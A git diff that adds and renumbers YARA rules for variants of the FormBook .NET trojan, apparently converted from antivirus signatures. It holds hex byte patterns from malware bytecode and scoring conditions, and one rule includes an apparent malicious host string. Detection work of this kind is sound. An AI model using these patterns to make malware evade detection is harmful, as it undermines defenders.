b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_SKC_MTB.yar new file mode 100644 index 0000000000..2ce9d103a6 --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_SKC_MTB.yar @@ -0,0 +1,22 @@ + +rule Trojan_BAT_FormBook_SKC_MTB{ + meta: + description = "Trojan:BAT/FormBook.SKC!MTB,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {00 03 11 06 11 07 91 6f 74 00 00 0a 00 00 11 07 17 58 13 07 11 07 09 fe 04 13 08 11 08 2d e1 } //1 + $a_01_1 = {00 02 06 07 6f 71 00 00 0a 0c 04 03 6f 72 00 00 0a 59 0d 09 19 fe 04 16 fe 01 13 04 11 04 2c 2e } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} +rule Trojan_BAT_FormBook_SKC_MTB_2{ + meta: + description = "Trojan:BAT/FormBook.SKC!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {00 02 06 07 6f 71 00 00 0a 0c 04 03 6f 72 00 00 0a 59 0d 09 19 fe 04 16 fe 01 13 04 11 04 2c 2e 00 03 12 02 28 73 00 00 0a 6f 74 00 00 0a 00 03 12 02 28 75 00 00 0a 6f 74 00 00 0a 00 03 12 02 28 76 00 00 0a 6f 74 00 00 0a 00 00 2b 56 09 16 fe 02 13 05 11 05 2c 4c 00 19 8d 50 00 00 01 25 16 12 02 28 73 00 00 0a 9c 25 17 12 02 28 75 00 00 0a 9c 25 18 12 02 28 76 00 00 0a 9c 13 06 16 13 07 2b 14 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_TRT_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_TRT_MTB.yar new file mode 100644 index 0000000000..1cdc84536a --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_TRT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_FormBook_TRT_MTB{ + meta: + description = "Trojan:BAT/FormBook.TRT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {13 0d 11 0d 06 7d 47 03 00 04 00 11 0d 02 11 0a 11 0c 6f ?? 00 00 0a 7d 45 03 00 04 11 0d 04 11 0d 7b 47 03 00 04 7b 44 03 00 04 6f ?? 00 00 0a 59 7d 46 03 00 04 7e 49 03 00 04 25 2d 17 26 7e 48 03 00 04 fe 06 82 02 00 06 73 86 00 00 0a 25 80 49 03 00 04 13 0e 11 0d fe 06 7e 02 00 06 73 86 00 00 0a 13 0f 11 0d fe 06 7f 02 00 06 73 86 00 00 0a 13 10 11 0d 7b 46 03 00 04 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_VGG_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_VGG_MTB.yar new file mode 100644 index 0000000000..216a60ee60 --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_VGG_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_FormBook_VGG_MTB{ + meta: + description = "Trojan:BAT/FormBook.VGG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {20 da 26 00 00 28 ?? 02 00 06 28 ?? 00 00 0a 0a 20 95 23 00 00 28 92 02 00 06 28 0f 00 00 0a 0b 73 10 00 00 0a 0c 73 11 00 00 0a 0d 09 08 06 07 6f 12 00 00 0a 17 73 13 00 00 0a 13 04 11 04 03 16 03 8e 69 6f 14 00 00 0a 09 6f ?? 00 00 0a 13 05 de 20 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_VNT_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_VNT_MTB.yar new file mode 100644 index 0000000000..c65ec69c1f --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_VNT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_FormBook_VNT_MTB{ + meta: + description = "Trojan:BAT/FormBook.VNT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {11 04 11 07 11 09 6f ?? 00 00 0a 13 0a 11 06 11 05 6f ?? 00 00 0a 59 13 0b 11 0b 19 32 3d 19 8d 63 00 00 01 25 16 12 0a 28 ?? 00 00 0a 9c 25 17 12 0a 28 ?? 00 00 0a 9c 25 18 12 0a 28 ?? 00 00 0a 9c 13 0c 08 72 9b 0f 00 70 28 ?? 00 00 0a 26 11 05 11 0c ?? ?? 00 00 0a 2b 48 11 0b 16 31 43 19 8d 63 00 00 01 25 16 12 0a 28 8d 00 00 0a 9c 25 17 12 0a 28 8e 00 00 0a 9c 25 18 12 0a 28 8f 00 00 0a 9c 13 0d 16 13 0e 2b 12 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_VTB_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_VTB_MTB.yar new file mode 100644 index 0000000000..efde48efd7 --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_VTB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_FormBook_VTB_MTB{ + meta: + description = "Trojan:BAT/FormBook.VTB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {08 06 11 04 6f ?? 01 00 0a 13 14 09 07 6f ?? 00 00 0a 59 13 06 11 06 19 fe 04 16 fe 01 13 0c 11 0c 2c 54 19 8d 0b 00 00 01 25 16 12 14 28 ?? 01 00 0a 9c 25 17 12 14 28 ?? 01 00 0a 9c 25 18 12 14 28 ?? 01 00 0a 9c 13 0d 11 09 20 7e a3 55 48 28 ?? 00 00 06 28 ?? 01 00 0a 2c 03 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_WGB_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_WGB_MTB.yar new file mode 100644 index 0000000000..c21cc42f53 --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_WGB_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_FormBook_WGB_MTB{ + meta: + description = "Trojan:BAT/FormBook.WGB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 02 00 00 " + + strings : + $a_03_0 = {02 07 08 6f ?? 00 00 0a 0d 04 03 6f ?? 00 00 0a 59 13 04 11 04 19 fe 04 16 fe 01 13 05 11 05 2c 2e 00 03 12 03 28 ?? 00 00 0a 6f ?? 00 00 0a } //5 + $a_03_1 = {25 16 12 03 28 ?? 00 00 0a 9c 25 17 12 03 28 9e 00 00 0a 9c 25 18 12 03 28 ?? 00 00 0a 9c 13 07 16 13 08 } //4 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*4) >=9 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_WST_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_WST_MTB.yar new file mode 100644 index 0000000000..ceb0c0802b --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_WST_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_FormBook_WST_MTB{ + meta: + description = "Trojan:BAT/FormBook.WST!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {07 11 05 07 11 05 94 02 5a 1f 64 5d 9e 11 0a 20 ?? 80 37 a9 5a 20 b1 df 46 f9 61 38 ?? fe ff ff 16 13 05 11 0a 20 0c 52 4f b1 5a 20 53 2e 79 70 61 38 3c fe ff ff 16 0c 11 0a 20 f8 95 3c 22 5a 20 81 c5 06 04 61 38 27 fe ff ff 11 07 07 8e 69 fe 04 13 08 11 08 2d 08 20 62 9f a8 93 25 2b 06 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_YRT_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_YRT_MTB.yar new file mode 100644 index 0000000000..87e29154ae --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_YRT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_FormBook_YRT_MTB{ + meta: + description = "Trojan:BAT/FormBook.YRT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {11 00 72 61 00 00 70 28 ?? 00 00 0a 6f ?? 00 00 0a 20 03 00 00 00 fe 0e 04 00 38 00 00 00 00 fe 0c 04 00 45 04 00 00 00 2d 00 00 00 83 00 00 00 05 00 00 00 53 00 00 00 38 28 00 00 00 11 00 6f ?? 00 00 0a 13 01 20 00 00 00 00 7e 96 00 00 04 7b 62 00 00 04 3a c9 ff ff ff 26 20 00 00 00 00 38 be ff ff ff 73 16 00 00 0a 13 09 20 01 00 00 00 7e 96 00 00 04 7b 53 00 00 04 3a a3 ff ff ff 26 20 00 00 00 00 38 98 ff ff ff 11 00 72 93 00 00 70 28 13 00 00 0a 6f 17 00 00 0a 20 01 00 00 00 7e 96 00 00 04 7b 88 00 00 04 3a 73 ff ff ff } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_ZHU_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_ZHU_MTB.yar new file mode 100644 index 0000000000..74214db736 --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_ZHU_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_FormBook_ZHU_MTB{ + meta: + description = "Trojan:BAT/FormBook.ZHU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 00 " + + strings : + $a_03_0 = {16 61 d2 9c 25 17 0f 00 28 ?? ?? ?? ?? 16 60 d2 9c 25 18 0f 00 28 ?? ?? ?? ?? 20 ff 00 00 00 5f d2 9c } //6 + $a_03_1 = {13 04 04 19 8d ?? 00 00 01 25 16 08 9c 25 17 09 9c 25 18 11 04 9c } //5 + condition: + ((#a_03_0 & 1)*6+(#a_03_1 & 1)*5) >=11 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_Formbook_AKF_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_Formbook_AKF_MTB.yar index ac2f9e5da7..69b5c517e4 100644 --- a/Trojan/BAT/FormBook/Trojan_BAT_Formbook_AKF_MTB.yar +++ b/Trojan/BAT/FormBook/Trojan_BAT_Formbook_AKF_MTB.yar @@ -14,6 +14,17 @@ rule Trojan_BAT_Formbook_AKF_MTB_2{ meta: description = "Trojan:BAT/Formbook.AKF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + strings : + $a_03_0 = {6c 07 16 9a 16 99 5a a1 25 17 12 09 28 ?? 00 00 0a 6c 07 17 9a 17 99 5a a1 25 18 12 09 28 ?? 00 00 0a 6c 07 18 9a 18 99 5a a1 13 0a 19 8d ?? 00 00 01 25 16 11 0a 16 99 d2 9c 25 17 11 0a 17 99 } //2 + $a_01_1 = {48 61 72 76 65 73 74 50 69 67 6d 65 6e 74 53 65 71 75 65 6e 63 65 } //1 HarvestPigmentSequence + condition: + ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} +rule Trojan_BAT_Formbook_AKF_MTB_3{ + meta: + description = "Trojan:BAT/Formbook.AKF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + strings : $a_03_0 = {13 06 2b 27 00 07 11 05 11 06 6f ?? ?? ?? 0a 13 07 08 12 07 28 ?? ?? ?? 0a 8c 5a 00 00 01 6f ?? ?? ?? 0a 26 00 11 06 17 58 13 06 11 06 07 6f ?? ?? ?? 0a fe 04 13 08 11 08 2d c9 00 11 05 17 58 13 05 11 05 07 6f ?? ?? ?? 0a fe 04 13 09 11 09 2d ac } //2 $a_01_1 = {53 00 61 00 6c 00 65 00 73 00 49 00 6e 00 76 00 65 00 6e 00 74 00 6f 00 72 00 79 00 } //1 SalesInventory diff --git a/Trojan/BAT/FormBook/Trojan_BAT_Formbook_AOK_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_Formbook_AOK_MTB.yar index 764499ebba..56c4312049 100644 --- a/Trojan/BAT/FormBook/Trojan_BAT_Formbook_AOK_MTB.yar +++ b/Trojan/BAT/FormBook/Trojan_BAT_Formbook_AOK_MTB.yar @@ -13,6 +13,17 @@ rule Trojan_BAT_Formbook_AOK_MTB_2{ meta: description = "Trojan:BAT/Formbook.AOK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + strings : + $a_03_0 = {0a 16 0b 2b 13 00 06 07 06 07 91 ?? ?? ?? ?? ?? 59 d2 9c 07 17 58 0b 00 07 06 8e 69 fe 01 16 fe 01 0c 08 } //2 + $a_01_1 = {71 00 61 00 74 00 61 00 72 00 69 00 73 00 2e 00 61 00 67 00 65 00 6e 00 63 00 79 00 2f 00 34 00 32 00 33 00 } //1 qataris.agency/423 + condition: + ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} +rule Trojan_BAT_Formbook_AOK_MTB_3{ + meta: + description = "Trojan:BAT/Formbook.AOK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + strings : $a_03_0 = {16 0a 2b 11 00 02 03 06 04 05 28 ?? 00 00 06 00 06 17 58 0a 00 06 02 6f ?? 00 00 0a 2f 0b 04 6f ?? 00 00 0a 05 fe 04 2b 01 16 0b 07 2d d6 } //2 $a_03_1 = {02 03 04 6f ?? 00 00 0a 0a 0e 04 05 6f ?? 00 00 0a 59 0b 06 07 05 28 } //1 @@ -20,7 +31,7 @@ rule Trojan_BAT_Formbook_AOK_MTB_2{ ((#a_03_0 & 1)*2+(#a_03_1 & 1)*1) >=3 } -rule Trojan_BAT_Formbook_AOK_MTB_3{ +rule Trojan_BAT_Formbook_AOK_MTB_4{ meta: description = "Trojan:BAT/Formbook.AOK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " diff --git a/Trojan/BAT/FormBook/Trojan_BAT_Formbook_BR_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_Formbook_BR_MTB.yar new file mode 100644 index 0000000000..49e88dcc7e --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_Formbook_BR_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Formbook_BR_MTB{ + meta: + description = "Trojan:BAT/Formbook.BR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_01_0 = {16 9a 16 99 5a a1 25 17 } //3 + $a_01_1 = {16 99 d2 9c 25 17 } //2 + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_Formbook_CE_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_Formbook_CE_MTB.yar new file mode 100644 index 0000000000..969c569436 --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_Formbook_CE_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Formbook_CE_MTB{ + meta: + description = "Trojan:BAT/Formbook.CE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_01_0 = {41 00 51 00 3a 00 3a 00 3a 00 4f 00 44 00 36 00 35 00 41 00 34 00 41 00 46 00 55 00 42 00 48 00 47 00 53 00 44 00 4f 00 41 00 42 00 4a 00 54 00 47 00 53 00 43 00 56 00 44 00 49 00 4e 00 46 00 5a 00 53 00 41 00 34 00 44 00 53 00 4e 00 35 00 54 00 58 00 45 00 59 } //3 + $a_01_1 = {4a 00 56 00 4e 00 4a 00 3a 00 41 00 44 00 3a 00 3a 00 41 00 42 00 3a 00 3a 00 41 00 50 00 37 00 37 00 59 00 3a 00 43 00 34 00 3a 00 3a 00 3a 00 3a 00 3a 00 41 00 43 } //2 + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_Formbook_CF_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_Formbook_CF_MTB.yar new file mode 100644 index 0000000000..b1c2fcff1b --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_Formbook_CF_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Formbook_CF_MTB{ + meta: + description = "Trojan:BAT/Formbook.CF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {5f 13 0b 02 11 0a 11 0b 6f ?? 01 00 0a 13 0c 12 0c 28 ?? 01 00 0a 16 61 d2 13 0d 12 0c 28 ?? 01 00 0a 16 61 d2 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_Formbook_EHYZ_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_Formbook_EHYZ_MTB.yar new file mode 100644 index 0000000000..c1fcca0ede --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_Formbook_EHYZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Formbook_EHYZ_MTB{ + meta: + description = "Trojan:BAT/Formbook.EHYZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {06 61 d2 13 3a 12 38 ?? ?? ?? ?? ?? 06 61 d2 13 3b 11 39 07 1f 1f 5f 62 11 39 1e 07 59 1f 1f 5f 63 60 20 ff 00 00 00 5f 13 3c } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_Formbook_EKIW_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_Formbook_EKIW_MTB.yar new file mode 100644 index 0000000000..0dcee492bb --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_Formbook_EKIW_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Formbook_EKIW_MTB{ + meta: + description = "Trojan:BAT/Formbook.EKIW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {5a 0e 05 6c 5b ?? ?? ?? ?? ?? 02 5a 13 04 06 ?? ?? ?? ?? ?? 09 11 04 23 00 00 00 00 00 ?? ?? ?? 5a ?? ?? ?? ?? ?? 23 00 00 00 00 00 00 ?? ?? 5d d2 9c 09 17 58 0d 09 0e 05 32 ba } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_Formbook_EQBO_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_Formbook_EQBO_MTB.yar new file mode 100644 index 0000000000..8ec907f462 --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_Formbook_EQBO_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Formbook_EQBO_MTB{ + meta: + description = "Trojan:BAT/Formbook.EQBO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {09 06 07 06 91 08 06 11 04 5d ?? ?? ?? ?? ?? 61 d2 9c 06 17 58 0a 06 07 8e 69 32 e4 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_Formbook_GPPG_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_Formbook_GPPG_MTB.yar new file mode 100644 index 0000000000..bfbd2a9ea9 --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_Formbook_GPPG_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Formbook_GPPG_MTB{ + meta: + description = "Trojan:BAT/Formbook.GPPG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 00 " + + strings : + $a_03_0 = {0a 0f 00 28 ?? 00 00 0a 0f 00 28 ?? 00 00 0a 58 0f 00 28 ?? 00 00 0a 58 6c 23 00 00 00 00 00 e8 87 40 5b 23 00 00 00 00 00 00 59 40 5a 0b } //4 + condition: + ((#a_03_0 & 1)*4) >=4 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_Formbook_LLT_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_Formbook_LLT_MTB.yar new file mode 100644 index 0000000000..20d4214f03 --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_Formbook_LLT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Formbook_LLT_MTB{ + meta: + description = "Trojan:BAT/Formbook.LLT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {06 72 61 00 00 70 28 0b 00 00 0a 6f 0c 00 00 0a 06 72 93 00 00 70 28 ?? 00 00 0a 6f 0d 00 00 0a 06 6f 0e 00 00 0a 03 16 03 8e 69 6f ?? 00 00 0a 0b dd 0d 00 00 00 06 39 06 00 00 00 06 6f 10 00 00 0a dc 07 2a } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_Formbook_MCB_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_Formbook_MCB_MTB.yar new file mode 100644 index 0000000000..eb949c18e6 --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_Formbook_MCB_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Formbook_MCB_MTB{ + meta: + description = "Trojan:BAT/Formbook.MCB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 52 00 65 00 66 00 6c 00 65 00 63 00 74 00 69 00 6f 00 6e 00 2e 00 41 00 73 00 73 00 65 00 6d 00 62 00 6c 00 79 00 00 0d 20 00 4c 00 6f 00 61 00 64 } //1 + $a_01_1 = {36 00 44 00 35 00 38 00 36 00 39 00 37 00 34 00 00 0d 37 00 41 00 36 00 31 00 37 00 41 } //2 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*2) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_Formbook_MCF_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_Formbook_MCF_MTB.yar new file mode 100644 index 0000000000..d17f5bfe2c --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_Formbook_MCF_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Formbook_MCF_MTB{ + meta: + description = "Trojan:BAT/Formbook.MCF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_03_0 = {16 61 b4 6f ?? 00 00 0a 08 17 d6 0c 08 07 31 db } //1 + $a_01_1 = {57 69 6e 64 6f 77 73 41 70 70 31 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 } //1 WindowsApp1.Resources.resource + condition: + ((#a_03_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_Formbook_MKB_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_Formbook_MKB_MTB.yar new file mode 100644 index 0000000000..ee481a78b5 --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_Formbook_MKB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Formbook_MKB_MTB{ + meta: + description = "Trojan:BAT/Formbook.MKB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {11 0c 11 0b 6f a8 01 00 0a 58 13 0c 11 24 17 d6 13 24 11 24 20 40 42 0f 00 31 e5 11 05 19 11 05 18 9a 74 75 00 00 1b 11 06 28 ?? 02 00 0a 28 ?? 01 00 06 14 72 52 17 00 70 16 8d 01 00 00 01 14 14 14 28 ?? 00 00 0a 28 ?? 00 00 0a a2 23 00 00 00 00 00 00 00 00 13 0d 17 13 25 11 0d 11 25 6c 23 00 00 00 00 00 00 00 40 28 ?? 00 00 0a 58 13 0d 11 25 17 d6 13 25 11 25 20 a0 86 01 00 31 db } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_Formbook_RA_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_Formbook_RA_MTB.yar new file mode 100644 index 0000000000..044ffa5883 --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_Formbook_RA_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_BAT_Formbook_RA_MTB{ + meta: + description = "Trojan:BAT/Formbook.RA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_01_0 = {4d 65 63 68 4d 61 74 72 69 78 20 50 72 6f 2e 64 6c 6c } //1 MechMatrix Pro.dll + $a_81_1 = {6e 6f 74 65 70 61 64 2e 72 74 66 } //1 notepad.rtf + $a_81_2 = {42 6c 61 68 20 62 6c 61 68 20 62 6c 61 68 } //1 Blah blah blah + $a_81_3 = {50 68 61 6e 74 6f 6d 20 44 69 6d 65 6e 73 69 6f 6e 20 53 6f 66 74 77 61 72 65 } //1 Phantom Dimension Software + condition: + ((#a_01_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_Formbook_SLER_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_Formbook_SLER_MTB.yar new file mode 100644 index 0000000000..1ae4cb43c2 --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_Formbook_SLER_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Formbook_SLER_MTB{ + meta: + description = "Trojan:BAT/Formbook.SLER!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {28 4f 00 00 06 28 2c 00 00 0a 0b 00 06 28 05 00 00 06 0c 08 39 0a 00 00 00 08 8e 16 fe 03 38 01 00 00 00 16 0d 09 39 0f 00 00 00 00 07 08 28 0a 00 00 06 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_Formbook_SR_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_Formbook_SR_MTB.yar new file mode 100644 index 0000000000..922271e32b --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_Formbook_SR_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Formbook_SR_MTB{ + meta: + description = "Trojan:BAT/Formbook.SR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {13 26 11 0a 11 26 11 10 59 61 13 0a 11 10 19 11 0a 58 1e 63 59 13 10 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_Formbook_WVG_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_Formbook_WVG_MTB.yar new file mode 100644 index 0000000000..6a8eb18683 --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_Formbook_WVG_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Formbook_WVG_MTB{ + meta: + description = "Trojan:BAT/Formbook.WVG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 02 00 00 " + + strings : + $a_03_0 = {19 8d 3b 00 00 01 25 16 02 7c 3c 00 00 04 28 7d 00 00 0a 9c 25 17 02 7c 3c 00 00 04 28 7f 00 00 0a 9c 25 18 02 7c 3c 00 00 04 28 ?? 00 00 0a 9c 0a 09 20 00 6b 69 29 5a 20 2c d3 66 d3 61 38 cf fe ff ff } //5 + $a_03_1 = {11 0e 02 11 0b 11 0d 6f ?? 00 00 0a 7d 3c 00 00 04 11 0e 04 11 0e 7b 3e 00 00 04 7b 3b 00 00 04 6f ?? 00 00 0a 59 7d 3d 00 00 04 11 17 20 d6 38 3e 23 5a 20 8e 2b d1 3b 61 38 ab fb ff ff } //4 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*4) >=9 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_Formbook_ZIU_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_Formbook_ZIU_MTB.yar new file mode 100644 index 0000000000..adcb10de2a --- /dev/null +++ 